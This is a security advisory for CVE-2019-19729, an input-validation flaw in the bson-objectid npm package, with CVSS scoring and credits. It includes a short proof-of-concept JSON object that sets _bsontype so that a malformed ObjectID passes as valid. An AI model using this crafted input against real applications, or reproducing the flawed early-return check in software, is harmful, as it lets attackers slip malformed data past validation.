Insufficient Input Validation

Affecting bson-objectid package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

bson-objectid is a library that allows you to construct ObjectIDs without the mongodb driver or bson module.

Affected versions of this package are vulnerable to Insufficient Input Validation. The ObjectID() function allows an attacker to generate a malformed objectid by inserting an additional property to the user-input, because bson-objectid will return early if it detects _bsontype==ObjectID in the user-input object. As a result, objects in arbitrary forms can bypass formatting if they have a valid bsontype.

PoC by Feng Xiao (xiaofen9)

var ObjectID = require("bson-objectid");

var json = {
    "mal_formkey": {
        "payload": "xxxx"
    },
    "_bsontype" : "ObjectID"
};

console.log(ObjectID(json));
console.log(ObjectID.isValid(ObjectID(json)));

Remediation

There is no fixed version for bson-objectid.

References

CVSS Score

3.7
low severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    Low
  • Availability
    None
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:P/RL:U/RC:R
Credit
Feng Xiao (xiaofen9)
CVE
CVE-2019-19729
CWE
CWE-284
Snyk ID
SNYK-JS-BSONOBJECTID-570765
Disclosed
12 Nov, 2019
Published
01 Jun, 2020